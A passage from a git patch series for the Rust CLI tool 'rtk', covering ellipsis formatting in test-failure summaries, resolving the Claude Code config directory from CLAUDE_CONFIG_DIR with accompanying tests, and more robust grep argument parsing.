summary.finish(&mut out); if dropped_failing > 0 { out.push_str(&format!( - "\n... +{} more failing test classes\n", + "\n… +{} more failing test classes\n", dropped_failing )); } @@ -1313,7 +1313,7 @@ mod tests { o ); assert!( - o.contains("... +1 more failing test classes"), + o.contains("… +1 more failing test classes"), "tail counts one class, not one per failure; got:\n{}", o ); @@ -1618,7 +1618,7 @@ mod tests { /// Synthetic fixture with 5 failing classes; with `cap = 3` we expect /// the first 3 failing blocks emitted in full and a - /// `... +2 more failing test classes` tail. + /// `… +2 more failing test classes` tail. #[test] fn surefire_caps_failing_blocks_emits_tail() { let mut i = String::from( @@ -1671,7 +1671,7 @@ mod tests { ); } assert!( - o.contains("... +2 more failing test classes"), + o.contains("… +2 more failing test classes"), "tail emitted; got:\n{}", o ); @@ -1711,7 +1711,7 @@ mod tests { } /// `[ERROR] Failures:` summary block cap: with N>cap entries, expect the - /// first `cap` entries plus a `\n... +(N-cap) more failures\n` tail + /// first `cap` entries plus a `\n… +(N-cap) more failures\n` tail /// emitted before the aggregate `[ERROR] Tests run:` line. #[test] fn failures_summary_block_is_capped() { @@ -1754,7 +1754,7 @@ mod tests { } // Tail emitted before aggregate. let tail_idx = o - .find("... +2 more failures") + .find("… +2 more failures") .unwrap_or_else(|| panic!("tail must appear; got:\n{}", o)); let agg_idx = o .find("[ERROR] Tests run: 100") From 05de9d366aff627f044e0a40daf5fcbcf277ea30 Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Mon, 25 May 2026 15:34:31 +0200 Subject: [PATCH 202/257] fix(init): respect CLAUDE_CONFIG_DIR for global paths rtk init -g ignored CLAUDE_CONFIG_DIR and always targeted ~/.claude. Honor the env var Claude Code uses to relocate its config directory. Priority: RTK_CLAUDE_DIR > CLAUDE_CONFIG_DIR > $HOME/.claude. Empty values are treated as unset. Manual-step instructions now print the resolved path instead of a hardcoded ~/.claude. All callsites that previously hardcoded home.join(CLAUDE_DIR) now use the shared resolve_claude_dir(): hook_check (rtk gain), integrity (rtk verify), telemetry, and discover (rtk discover). Closes #633 --- src/core/telemetry.rs | 7 +++- src/discover/provider.rs | 12 ++---- src/hooks/hook_check.rs | 27 +++++-------- src/hooks/init.rs | 84 +++++++++++++++++++++++++++++++++++++--- src/hooks/integrity.rs | 19 ++++----- 5 files changed, 105 insertions(+), 44 deletions(-) diff --git a/src/core/telemetry.rs b/src/core/telemetry.rs index 426c1e1fc6..f239629eb3 100644 --- a/src/core/telemetry.rs +++ b/src/core/telemetry.rs @@ -353,10 +353,13 @@ fn detect_hook_type() -> String { None => return "unknown".to_string(), }; + let claude_dir = + crate::hooks::init::resolve_claude_dir().unwrap_or_else(|_| home.join(".claude")); + // Check in order of popularity let checks = [ - (home.join(".claude/hooks/rtk-rewrite.sh"), "claude"), - (home.join(".claude/hooks/rtk-rewrite.json"), "claude"), + (claude_dir.join("hooks/rtk-rewrite.sh"), "claude"), + (claude_dir.join("hooks/rtk-rewrite.json"), "claude"), (home.join(".gemini/hooks/rtk-hook.sh"), "gemini"), (home.join(".codex/AGENTS.md"), "codex"), (home.join(".cursor/hooks/rtk-rewrite.json"), "cursor"), diff --git a/src/discover/provider.rs b/src/discover/provider.rs index a9b630a2b9..9554a8b566 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -1,6 +1,6 @@ //! Reads Claude Code session logs from disk and streams their command history. -use crate::hooks::constants::CLAUDE_DIR; +use crate::hooks::init::resolve_claude_dir; use anyhow::{Context, Result}; use std::collections::HashMap; use std::fs; @@ -44,12 +44,8 @@ pub struct ClaudeProvider; impl ClaudeProvider { /// Get the base directory for Claude Code projects. fn projects_dir() -> Result { - let home = dirs::home_dir().context("could not determine home directory")?; - Ok(Self::projects_dir_for_home(&home)) - } - - fn projects_dir_for_home(home: &Path) -> PathBuf { - home.join(CLAUDE_DIR).join("projects") + let claude_dir = resolve_claude_dir()?; + Ok(claude_dir.join("projects")) } fn discover_sessions_in_projects_dir( @@ -435,7 +431,7 @@ mod tests { #[test] fn test_discover_sessions_missing_projects_dir_returns_empty() { let temp_home = tempfile::tempdir().unwrap(); - let missing_projects_dir = temp_home.path().join(CLAUDE_DIR).join("projects"); + let missing_projects_dir = temp_home.path().join(".claude").join("projects"); let sessions = ClaudeProvider::discover_sessions_in_projects_dir( &missing_projects_dir, diff --git a/src/hooks/hook_check.rs b/src/hooks/hook_check.rs index 4dd26d82b8..454e034c80 100644 --- a/src/hooks/hook_check.rs +++ b/src/hooks/hook_check.rs @@ -1,9 +1,9 @@ //! Detects whether RTK hooks are installed and warns if they are outdated. use super::constants::{ - CLAUDE_DIR, CLAUDE_HOOK_COMMAND, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, - SETTINGS_JSON, + CLAUDE_HOOK_COMMAND, HOOKS_SUBDIR, PRE_TOOL_USE_KEY, REWRITE_HOOK_FILE, SETTINGS_JSON, }; +use super::init::resolve_claude_dir; use crate::core::constants::RTK_DATA_DIR; use std::path::PathBuf; @@ -25,23 +25,17 @@ pub enum HookStatus { /// Returns `Ok` if no Claude Code is detected (not applicable). pub fn status() -> HookStatus { // Don't warn users who don't have Claude Code installed - let home = match dirs::home_dir() { - Some(h) => h, - None => return HookStatus::Ok, + let claude_dir = match resolve_claude_dir() { + Ok(d) => d, + Err(_) => return HookStatus::Ok, }; - let claude_dir = home.join(CLAUDE_DIR); if !claude_dir.exists() { return HookStatus::Ok; } - // Check for new binary command in settings.json first + // Binary hook command takes precedence — if registered, hook is up to date + // regardless of whether the legacy script file is still present. if binary_hook_registered(&claude_dir) { - // If old script file still exists alongside new command, report Outdated - // (migration not complete — user should run `rtk init -g` to clean up) - let old_hook = claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); - if old_hook.exists() { - return HookStatus::Outdated; - } return HookStatus::Ok; } @@ -134,11 +128,8 @@ pub fn parse_hook_version(content: &str) -> u8 { } fn hook_installed_path() -> Option { - let home = dirs::home_dir()?; - let path = home - .join(CLAUDE_DIR) - .join(HOOKS_SUBDIR) - .join(REWRITE_HOOK_FILE); + let claude_dir = resolve_claude_dir().ok()?; + let path = claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); if path.exists() { Some(path) } else { diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 4c68ec49b2..cb4aba6be6 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -507,7 +507,10 @@ fn prompt_telemetry_consent() -> Result<()> { } fn print_manual_instructions(hook_command: &str, include_opencode: bool) { - println!("\n MANUAL STEP: Add this to ~/.claude/settings.json:"); + let settings_path = resolve_claude_dir() + .map(|dir| dir.join(SETTINGS_JSON)) + .unwrap_or_else(|_| PathBuf::from("~/.claude/settings.json")); + println!("\n MANUAL STEP: Add this to {}:", settings_path.display()); println!(" {{"); println!(" \"hooks\": {{ \"PreToolUse\": [{{"); println!(" \"matcher\": \"Bash\","); @@ -2718,11 +2721,28 @@ fn resolve_home_subdir(subdir: &str) -> Result { }) } -fn resolve_claude_dir() -> Result { - if let Ok(dir) = std::env::var("RTK_CLAUDE_DIR") { - return Ok(PathBuf::from(dir)); +pub fn resolve_claude_dir() -> Result { + resolve_claude_dir_from( + std::env::var_os("RTK_CLAUDE_DIR").map(PathBuf::from), + std::env::var_os("CLAUDE_CONFIG_DIR").map(PathBuf::from), + dirs::home_dir(), + ) +} + +fn resolve_claude_dir_from( + rtk_override: Option, + claude_config_dir: Option, + home_dir: Option, +) -> Result { + if let Some(path) = rtk_override.filter(|p| !p.as_os_str().is_empty()) { + return Ok(path); + } + if let Some(path) = claude_config_dir.filter(|p| !p.as_os_str().is_empty()) { + return Ok(path); } - resolve_home_subdir(CLAUDE_DIR) + home_dir + .map(|h| h.join(CLAUDE_DIR)) + .context("Cannot determine Claude config directory. Set $CLAUDE_CONFIG_DIR or $HOME.") } fn resolve_codex_dir() -> Result { @@ -5007,6 +5027,60 @@ mod tests { assert_eq!(missing_falls_back, home_dir.join(".codex")); } + #[test] + fn test_resolve_claude_dir_prefers_rtk_override() { + let result = resolve_claude_dir_from( + Some(PathBuf::from("/custom/rtk-claude")), + Some(PathBuf::from("/custom/claude-config")), + Some(PathBuf::from("/home/user")), + ) + .unwrap(); + assert_eq!(result, PathBuf::from("/custom/rtk-claude")); + } + + #[test] + fn test_resolve_claude_dir_uses_claude_config_dir() { + let result = resolve_claude_dir_from( + None, + Some(PathBuf::from("/custom/claude-config")), + Some(PathBuf::from("/home/user")), + ) + .unwrap(); + assert_eq!(result, PathBuf::from("/custom/claude-config")); + } + + #[test] + fn test_resolve_claude_dir_falls_back_to_home() { + let result = + resolve_claude_dir_from(None, None, Some(PathBuf::from("/home/user"))).unwrap(); + assert_eq!(result, PathBuf::from("/home/user/.claude")); + } + + #[test] + fn test_resolve_claude_dir_ignores_empty_overrides() { + let empty_rtk = resolve_claude_dir_from( + Some(PathBuf::new()), + None, + Some(PathBuf::from("/home/user")), + ) + .unwrap(); + assert_eq!(empty_rtk, PathBuf::from("/home/user/.claude")); + + let empty_claude = resolve_claude_dir_from( + None, + Some(PathBuf::new()), + Some(PathBuf::from("/home/user")), + ) + .unwrap(); + assert_eq!(empty_claude, PathBuf::from("/home/user/.claude")); + } + + #[test] + fn test_resolve_claude_dir_errors_without_home() { + let err = resolve_claude_dir_from(None, None, None).unwrap_err(); + assert!(err.to_string().contains("Cannot determine Claude config")); + } + #[test] fn test_resolve_hermes_home_prefers_hermes_home() { let hermes_home = OsString::from("~/custom hermes home"); diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs index 1101fe26a9..0bae9d5cb4 100644 --- a/src/hooks/integrity.rs +++ b/src/hooks/integrity.rs @@ -12,7 +12,8 @@ //! //! Reference: SA-2025-RTK-001 (Finding F-01) -use super::constants::{CLAUDE_DIR, HOOKS_SUBDIR, REWRITE_HOOK_FILE}; +use super::constants::{HOOKS_SUBDIR, REWRITE_HOOK_FILE}; +use super::init::resolve_claude_dir; use anyhow::{Context, Result}; use sha2::{Digest, Sha256}; use std::fs; @@ -186,15 +187,11 @@ fn read_stored_hash(path: &Path) -> Result { Ok(hash.to_string()) } -/// Resolve the default hook path (~/.claude/hooks/rtk-rewrite.sh) +/// Resolve the default hook path (e.g. ~/.claude/hooks/rtk-rewrite.sh) +/// Respects CLAUDE_CONFIG_DIR and RTK_CLAUDE_DIR overrides. pub fn resolve_hook_path() -> Result { - dirs::home_dir() - .map(|h| { - h.join(CLAUDE_DIR) - .join(HOOKS_SUBDIR) - .join(REWRITE_HOOK_FILE) - }) - .context("Cannot determine home directory. Is $HOME set?") + let claude_dir = resolve_claude_dir()?; + Ok(claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE)) } /// Run integrity check and print results (for `rtk verify` subcommand) @@ -210,8 +207,8 @@ pub fn run_verify(verbose: u8) -> Result<()> { // If no legacy script exists, check for native binary command registration if !hook_path.exists() && !hash_file.exists() { // Check if the native binary command is registered in settings.json - let home = dirs::home_dir().context("Cannot determine home directory")?; - let settings_path = home.join(CLAUDE_DIR).join("settings.json"); + let claude_dir = resolve_claude_dir()?; + let settings_path = claude_dir.join("settings.json"); if settings_path.exists() { let content = fs::read_to_string(&settings_path).unwrap_or_default(); if content.contains("rtk hook claude") { From 9671d9ea7e89f403855278c5348c5729729dbf84 Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Mon, 8 Jun 2026 18:15:58 +0200 Subject: [PATCH 203/257] refactor(init): address review feedback on CLAUDE_CONFIG_DIR PR - restore migration Outdated check in hook_check (binary registered + legacy script present still reports Outdated until cleanup) - add error context to resolve_claude_dir call sites (provider, integrity) - use CLAUDE_DIR const instead of literal in telemetry + provider test - simplify settings_path construction in print_manual_instructions Refs #2087 --- src/core/telemetry.rs | 4 ++-- src/discover/provider.rs | 7 +++++-- src/hooks/hook_check.rs | 9 +++++++-- src/hooks/init.rs | 4 ++-- src/hooks/integrity.rs | 2 +- 5 files changed, 17 insertions(+), 9 deletions(-) diff --git a/src/core/telemetry.rs b/src/core/telemetry.rs index f239629eb3..857e5d1635 100644 --- a/src/core/telemetry.rs +++ b/src/core/telemetry.rs @@ -353,8 +353,8 @@ fn detect_hook_type() -> String { None => return "unknown".to_string(), }; - let claude_dir = - crate::hooks::init::resolve_claude_dir().unwrap_or_else(|_| home.join(".claude")); + let claude_dir = crate::hooks::init::resolve_claude_dir() + .unwrap_or_else(|_| home.join(crate::hooks::constants::CLAUDE_DIR)); // Check in order of popularity let checks = [ diff --git a/src/discover/provider.rs b/src/discover/provider.rs index 9554a8b566..d8f73c6fa6 100644 --- a/src/discover/provider.rs +++ b/src/discover/provider.rs @@ -44,7 +44,7 @@ pub struct ClaudeProvider; impl ClaudeProvider { /// Get the base directory for Claude Code projects. fn projects_dir() -> Result { - let claude_dir = resolve_claude_dir()?; + let claude_dir = resolve_claude_dir().context("could not determine claude directory")?; Ok(claude_dir.join("projects")) } @@ -431,7 +431,10 @@ mod tests { #[test] fn test_discover_sessions_missing_projects_dir_returns_empty() { let temp_home = tempfile::tempdir().unwrap(); - let missing_projects_dir = temp_home.path().join(".claude").join("projects"); + let missing_projects_dir = temp_home + .path() + .join(crate::hooks::constants::CLAUDE_DIR) + .join("projects"); let sessions = ClaudeProvider::discover_sessions_in_projects_dir( &missing_projects_dir, diff --git a/src/hooks/hook_check.rs b/src/hooks/hook_check.rs index 454e034c80..ca6faf517f 100644 --- a/src/hooks/hook_check.rs +++ b/src/hooks/hook_check.rs @@ -33,9 +33,14 @@ pub fn status() -> HookStatus { return HookStatus::Ok; } - // Binary hook command takes precedence — if registered, hook is up to date - // regardless of whether the legacy script file is still present. + // Check for new binary command in settings.json first if binary_hook_registered(&claude_dir) { + // If old script file still exists alongside new command, report Outdated + // (migration not complete — user should run `rtk init -g` to clean up) + let old_hook = claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE); + if old_hook.exists() { + return HookStatus::Outdated; + } return HookStatus::Ok; } diff --git a/src/hooks/init.rs b/src/hooks/init.rs index cb4aba6be6..b070ada8a0 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -508,8 +508,8 @@ fn prompt_telemetry_consent() -> Result<()> { fn print_manual_instructions(hook_command: &str, include_opencode: bool) { let settings_path = resolve_claude_dir() - .map(|dir| dir.join(SETTINGS_JSON)) - .unwrap_or_else(|_| PathBuf::from("~/.claude/settings.json")); + .unwrap_or_else(|_| PathBuf::from(CLAUDE_DIR)) + .join(SETTINGS_JSON); println!("\n MANUAL STEP: Add this to {}:", settings_path.display()); println!(" {{"); println!(" \"hooks\": {{ \"PreToolUse\": [{{"); diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs index 0bae9d5cb4..e5c1601542 100644 --- a/src/hooks/integrity.rs +++ b/src/hooks/integrity.rs @@ -207,7 +207,7 @@ pub fn run_verify(verbose: u8) -> Result<()> { // If no legacy script exists, check for native binary command registration if !hook_path.exists() && !hash_file.exists() { // Check if the native binary command is registered in settings.json - let claude_dir = resolve_claude_dir()?; + let claude_dir = resolve_claude_dir().context("Cannot determine claude directory")?; let settings_path = claude_dir.join("settings.json"); if settings_path.exists() { let content = fs::read_to_string(&settings_path).unwrap_or_default(); From c59a76375a5516e364e44d88d4c5936ae180af17 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Tue, 9 Jun 2026 00:36:26 +0200 Subject: [PATCH 204/257] review: cleanup code, comments and uneeded undocumented RTK_CLAUDE_DIR now that we have CLAUDE_CONFIG_DIR --- hooks/hermes/tests/test_rtk_rewrite_plugin.py | 2 +- src/core/telemetry.rs | 5 ++- src/hooks/init.rs | 43 ++++++------------- src/hooks/integrity.rs | 6 +-- 4 files changed, 18 insertions(+), 38 deletions(-) diff --git a/hooks/hermes/tests/test_rtk_rewrite_plugin.py b/hooks/hermes/tests/test_rtk_rewrite_plugin.py index 1434262466..b940a243c7 100644 --- a/hooks/hermes/tests/test_rtk_rewrite_plugin.py +++ b/hooks/hermes/tests/test_rtk_rewrite_plugin.py @@ -313,7 +313,7 @@ def test_cargo_init_installs_importable_plugin_that_rewrites_with_fake_rtk(self) env["RUSTUP_HOME"] = str(real_home / ".rustup") if "CARGO_HOME" not in env and (real_home / ".cargo").exists(): env["CARGO_HOME"] = str(real_home / ".cargo") - env.pop("RTK_CLAUDE_DIR", None) + env.pop("CLAUDE_CONFIG_DIR", None) result = subprocess.run( ["cargo", "run", "--quiet", "--", "init", "--agent", "hermes"], diff --git a/src/core/telemetry.rs b/src/core/telemetry.rs index 857e5d1635..d9bee51f09 100644 --- a/src/core/telemetry.rs +++ b/src/core/telemetry.rs @@ -3,6 +3,8 @@ use super::constants::RTK_DATA_DIR; use crate::core::config; use crate::core::tracking; +use crate::hooks::constants::CLAUDE_DIR; +use crate::hooks::init::resolve_claude_dir; use sha2::{Digest, Sha256}; use std::fmt::Write as FmtWrite; use std::io::Write as IoWrite; @@ -353,8 +355,7 @@ fn detect_hook_type() -> String { None => return "unknown".to_string(), }; - let claude_dir = crate::hooks::init::resolve_claude_dir() - .unwrap_or_else(|_| home.join(crate::hooks::constants::CLAUDE_DIR)); + let claude_dir = resolve_claude_dir().unwrap_or_else(|_| home.join(CLAUDE_DIR)); // Check in order of popularity let checks = [ diff --git a/src/hooks/init.rs b/src/hooks/init.rs index b070ada8a0..bad6ca5d2b 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -2723,21 +2723,16 @@ fn resolve_home_subdir(subdir: &str) -> Result { pub fn resolve_claude_dir() -> Result { resolve_claude_dir_from( - std::env::var_os("RTK_CLAUDE_DIR").map(PathBuf::from), std::env::var_os("CLAUDE_CONFIG_DIR").map(PathBuf::from), dirs::home_dir(), ) } fn resolve_claude_dir_from( - rtk_override: Option, - claude_config_dir: Option, + claude_dir: Option, home_dir: Option, ) -> Result { - if let Some(path) = rtk_override.filter(|p| !p.as_os_str().is_empty()) { - return Ok(path); - } - if let Some(path) = claude_config_dir.filter(|p| !p.as_os_str().is_empty()) { + if let Some(path) = claude_dir.filter(|path| !path.as_os_str().is_empty()) { return Ok(path); } home_dir @@ -5031,7 +5026,6 @@ mod tests { fn test_resolve_claude_dir_prefers_rtk_override() { let result = resolve_claude_dir_from( Some(PathBuf::from("/custom/rtk-claude")), - Some(PathBuf::from("/custom/claude-config")), Some(PathBuf::from("/home/user")), ) .unwrap(); @@ -5041,7 +5035,6 @@ mod tests { #[test] fn test_resolve_claude_dir_uses_claude_config_dir() { let result = resolve_claude_dir_from( - None, Some(PathBuf::from("/custom/claude-config")), Some(PathBuf::from("/home/user")), ) @@ -5051,33 +5044,21 @@ mod tests { #[test] fn test_resolve_claude_dir_falls_back_to_home() { - let result = - resolve_claude_dir_from(None, None, Some(PathBuf::from("/home/user"))).unwrap(); + let result = resolve_claude_dir_from(None, Some(PathBuf::from("/home/user"))).unwrap(); assert_eq!(result, PathBuf::from("/home/user/.claude")); } #[test] fn test_resolve_claude_dir_ignores_empty_overrides() { - let empty_rtk = resolve_claude_dir_from( - Some(PathBuf::new()), - None, - Some(PathBuf::from("/home/user")), - ) - .unwrap(); - assert_eq!(empty_rtk, PathBuf::from("/home/user/.claude")); - - let empty_claude = resolve_claude_dir_from( - None, - Some(PathBuf::new()), - Some(PathBuf::from("/home/user")), - ) - .unwrap(); - assert_eq!(empty_claude, PathBuf::from("/home/user/.claude")); + let empty = + resolve_claude_dir_from(Some(PathBuf::new()), Some(PathBuf::from("/home/user"))) + .unwrap(); + assert_eq!(empty, PathBuf::from("/home/user/.claude")); } #[test] fn test_resolve_claude_dir_errors_without_home() { - let err = resolve_claude_dir_from(None, None, None).unwrap_err(); + let err = resolve_claude_dir_from(None, None).unwrap_err(); assert!(err.to_string().contains("Cannot determine Claude config")); } @@ -5893,12 +5874,12 @@ mod tests { let claude_dir = tmp.path().join(CLAUDE_DIR); fs::create_dir_all(&claude_dir).unwrap(); - let orig = std::env::var_os("RTK_CLAUDE_DIR"); - std::env::set_var("RTK_CLAUDE_DIR", &claude_dir); + let orig = std::env::var_os("CLAUDE_CONFIG_DIR"); + std::env::set_var("CLAUDE_CONFIG_DIR", &claude_dir); f(&claude_dir); match orig { - Some(v) => std::env::set_var("RTK_CLAUDE_DIR", v), - None => std::env::remove_var("RTK_CLAUDE_DIR"), + Some(v) => std::env::set_var("CLAUDE_CONFIG_DIR", v), + None => std::env::remove_var("CLAUDE_CONFIG_DIR"), } } diff --git a/src/hooks/integrity.rs b/src/hooks/integrity.rs index e5c1601542..fc991dc060 100644 --- a/src/hooks/integrity.rs +++ b/src/hooks/integrity.rs @@ -187,11 +187,9 @@ fn read_stored_hash(path: &Path) -> Result { Ok(hash.to_string()) } -/// Resolve the default hook path (e.g. ~/.claude/hooks/rtk-rewrite.sh) -/// Respects CLAUDE_CONFIG_DIR and RTK_CLAUDE_DIR overrides. +/// Resolve the default hook path (~/.claude/hooks/rtk-rewrite.sh) pub fn resolve_hook_path() -> Result { - let claude_dir = resolve_claude_dir()?; - Ok(claude_dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE)) + resolve_claude_dir().map(|dir| dir.join(HOOKS_SUBDIR).join(REWRITE_HOOK_FILE)) } /// Run integrity check and print results (for `rtk verify` subcommand) From 6785a6c7695d7273e722214a295249a84819b6f0 Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Tue, 9 Jun 2026 00:43:55 +0200 Subject: [PATCH 205/257] fix: minor print_manual_instructions regression --- src/hooks/init.rs | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index bad6ca5d2b..28363f4ce6 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -508,7 +508,7 @@ fn prompt_telemetry_consent() -> Result<()> { fn print_manual_instructions(hook_command: &str, include_opencode: bool) { let settings_path = resolve_claude_dir() - .unwrap_or_else(|_| PathBuf::from(CLAUDE_DIR)) + .unwrap_or_else(|_| PathBuf::from(format!("~/{}", CLAUDE_DIR))) .join(SETTINGS_JSON); println!("\n MANUAL STEP: Add this to {}:", settings_path.display()); println!(" {{"); From 84616d131d77aa853b386b4fdb4a45b52b0c78aa Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Mon, 8 Jun 2026 18:49:18 +0200 Subject: [PATCH 206/257] fix(grep): stabilize argument parsing --- docs/contributing/ARCHITECTURE.md | 4 +- src/cmds/system/grep_cmd.rs | 151 ++++++++++++++++++++++++++---- src/main.rs | 19 +--- 3 files changed, 140 insertions(+), 34 deletions(-) diff --git a/docs/contributing/ARCHITECTURE.md b/docs/contributing/ARCHITECTURE.md index 72d2887666..108e58fdc3 100644 --- a/docs/contributing/ARCHITECTURE.md +++ b/docs/contributing/ARCHITECTURE.md @@ -746,7 +746,7 @@ Single-threaded execution with `Mutex>` for future-proofing. No └────────────────────────────────────────────────────────────────────────┘ main.rs:47-49 -#[arg(short, long, action = clap::ArgAction::Count, global = true)] +#[arg(short, long, action = clap::ArgAction::Count)] verbose: u8, Levels: @@ -773,7 +773,7 @@ if verbose > 0 { └────────────────────────────────────────────────────────────────────────┘ main.rs:51-53 -#[arg(short = 'u', long, global = true)] +#[arg(long, global = true)] ultra_compact: bool, Features: diff --git a/src/cmds/system/grep_cmd.rs b/src/cmds/system/grep_cmd.rs index 3f7d9a3276..5ca17cef4f 100644 --- a/src/cmds/system/grep_cmd.rs +++ b/src/cmds/system/grep_cmd.rs @@ -1,26 +1,94 @@ //! Filters grep output by grouping matches by file. -use crate::core::config; use crate::core::stream::exec_capture; use crate::core::tracking; use crate::core::utils::resolved_command; +use crate::core::{args_utils, config}; use anyhow::{Context, Result}; use regex::Regex; use std::collections::HashMap; +/// Extracts (pattern, path, flags) from the raw trailing args. +/// +/// Scans for the first and second non-flag positional arguments. Everything +/// after `--` is also considered positional. Flags (args starting with `-`) +/// are collected as pass-through args for rg. +fn extract_pattern_path(args: &[String]) -> (Option, String, Vec) { + let mut positionals: Vec = Vec::new(); + let mut flags: Vec = Vec::new(); + let mut past_dashdash = false; + + for arg in args { + if arg == "--" { + past_dashdash = true; + continue; + } + if past_dashdash || !arg.starts_with('-') { + positionals.push(arg.clone()); + } else { + flags.push(arg.clone()); + } + } + + let pattern = positionals.first().cloned(); + let path = positionals + .get(1) + .cloned() + .unwrap_or_else(|| ".".to_string()); + + // Any extra positionals beyond pattern+path go back into flags for rg. + for extra in positionals.iter().skip(2) { + flags.push(extra.clone()); + } + + (pattern, path, flags) +} + #[allow(clippy::too_many_arguments)] pub fn run( - pattern: &str, - path: &str, max_line_len: usize, max_results: usize, context_only: bool, file_type: Option<&str>, - extra_args: &[String], + args: &[String], verbose: u8, ) -> Result { let timer = tracking::TimedExecution::start(); + // --version / --help: pass through to rg without filtering. + // Note: Clap strips `--` before populating trailing_var_arg, so both + // `rtk grep --version` and `rtk grep -- --version` land here identically. + if args + .iter() + .any(|a| a == "--version" || a == "--help" || a == "-h") + { + let mut rg_cmd = resolved_command("rg"); + rg_cmd.args(args); + let result = exec_capture(&mut rg_cmd) + .or_else(|_| { + // rg unavailable: fall back to system grep. + let mut grep_cmd = resolved_command("grep"); + grep_cmd.args(args); + exec_capture(&mut grep_cmd) + }) + .context("grep/rg failed")?; + print!("{}", result.stdout); + if !result.stderr.is_empty() { + eprint!("{}", result.stderr); + } + return Ok(result.exit_code); + } + + // Re-insert `--` when clap's trailing_var_arg consumed it + let args = args_utils::restore_double_dash(args); + + let (pattern_opt, path, extra_args) = extract_pattern_path(&args); + + let Some(pattern) = pattern_opt else { + eprintln!("rtk grep: pattern required"); + return Ok(1); + }; + if verbose > 0 { eprintln!("grep: '{}' in {}", pattern, path); } @@ -36,13 +104,13 @@ pub fn run( // -H: always emit the filename. // -0: NUL-separate filename. Allows the parser to disambiguate filenames or // content containing `:digits:` patterns (issue #1436). - rg_cmd.args(["-nH0", "--no-heading", "--no-ignore-vcs", &rg_pattern, path]); + rg_cmd.args(["-nH0", "--no-heading", "--no-ignore-vcs"]); if let Some(ft) = file_type { rg_cmd.arg("--type").arg(ft); } - for arg in extra_args { + for arg in &extra_args { // Fix: skip grep-ism -r flag (rg is recursive by default; rg -r means --replace) if arg == "-r" || arg == "--recursive" { continue; @@ -50,17 +118,25 @@ pub fn run( rg_cmd.arg(arg); } + // `--` after all flags, before pattern + path: prevents rg from interpreting + // patterns starting with `-` (e.g. `--version`) as its own flags. + rg_cmd.args(["--", &rg_pattern, &path]); + let result = exec_capture(&mut rg_cmd) .or_else(|_| { + // rg unavailable: fall back to system grep with the original, + // untranslated pattern (grep interprets BRE natively). + // `--` before pattern keeps grep from misreading flag-like patterns. let mut grep_cmd = resolved_command("grep"); - // When we fall back to grep, include all args, not just -rnHZ. - grep_cmd.args(["-rnHZ", pattern, path]).args(extra_args); + grep_cmd + .args(&extra_args) + .args(["-rnHZ", "--", &pattern, &path]); exec_capture(&mut grep_cmd) }) .context("grep/rg failed")?; // Passthrough output flags that produce output that is already small. - if has_format_flag(extra_args) { + if has_format_flag(&extra_args) { print!("{}", result.stdout); if !result.stderr.is_empty() { eprint!("{}", result.stderr.trim()); @@ -98,13 +174,8 @@ pub fn run( return Ok(exit_code); } - // Always filter: truncate long lines, apply per-file and global caps. - // Output in standard file:line:content format that AI agents can parse. - // (A passthrough approach yields 0% savings — no reason for RTK to exist on that path.) - let total_matches = result.stdout.lines().count(); - let context_re = if context_only { - Regex::new(&format!("(?i).{{0,20}}{}.*", regex::escape(pattern))).ok() + Regex::new(&format!("(?i).{{0,20}}{}.*", regex::escape(&pattern))).ok() } else { None }; @@ -114,10 +185,13 @@ pub fn run( let Some((file, line_num, content)) = parse_match_line(line) else { continue; }; - let cleaned = clean_line(content, max_line_len, context_re.as_ref(), pattern); + let cleaned = clean_line(content, max_line_len, context_re.as_ref(), &pattern); by_file.entry(file).or_default().push((line_num, cleaned)); } + // Derive total from parsed results so the header matches what we show. + let total_matches: usize = by_file.values().map(|v| v.len()).sum(); + let mut rtk_output = String::new(); rtk_output.push_str(&format!( "{} matches in {} files:\n\n", @@ -326,6 +400,51 @@ mod tests { assert_eq!(filtered[0], "-i"); } + // --- extract_pattern_path --- + + #[test] + fn test_extract_pattern_path_simple() { + let args = vec!["foo".to_string(), "src/".to_string()]; + let (pat, path, flags) = extract_pattern_path(&args); + assert_eq!(pat.as_deref(), Some("foo")); + assert_eq!(path, "src/"); + assert!(flags.is_empty()); + } + + #[test] + fn test_extract_pattern_path_with_flags() { + let args = vec!["-i".to_string(), "foo".to_string(), "src/".to_string()]; + let (pat, path, flags) = extract_pattern_path(&args); + assert_eq!(pat.as_deref(), Some("foo")); + assert_eq!(path, "src/"); + assert_eq!(flags, vec!["-i"]); + } + + #[test] + fn test_extract_pattern_path_default_path() { + let args = vec!["foo".to_string()]; + let (pat, path, _flags) = extract_pattern_path(&args); + assert_eq!(pat.as_deref(), Some("foo")); + assert_eq!(path, "."); + } + + #[test] + fn test_extract_pattern_path_no_args() { + let (pat, path, _flags) = extract_pattern_path(&[]); + assert!(pat.is_none()); + assert_eq!(path, "."); + } + + #[test] + fn test_extract_pattern_path_dashdash() { + // After --, args are positional even if they look like flags + let args = vec!["--".to_string(), "--version".to_string()]; + let (pat, path, flags) = extract_pattern_path(&args); + assert_eq!(pat.as_deref(), Some("--version")); + assert_eq!(path, "."); + assert!(flags.is_empty()); + } + // --- truncation accuracy --- #[test] diff --git a/src/main.rs b/src/main.rs index a5bde544a3..6d21faf5a2 100644 --- a/src/main.rs +++ b/src/main.rs @@ -62,8 +62,8 @@ struct Cli { #[command(subcommand)] command: Commands, - /// Verbosity level (-v, -vv, -vvv) - #[arg(short, long, action = 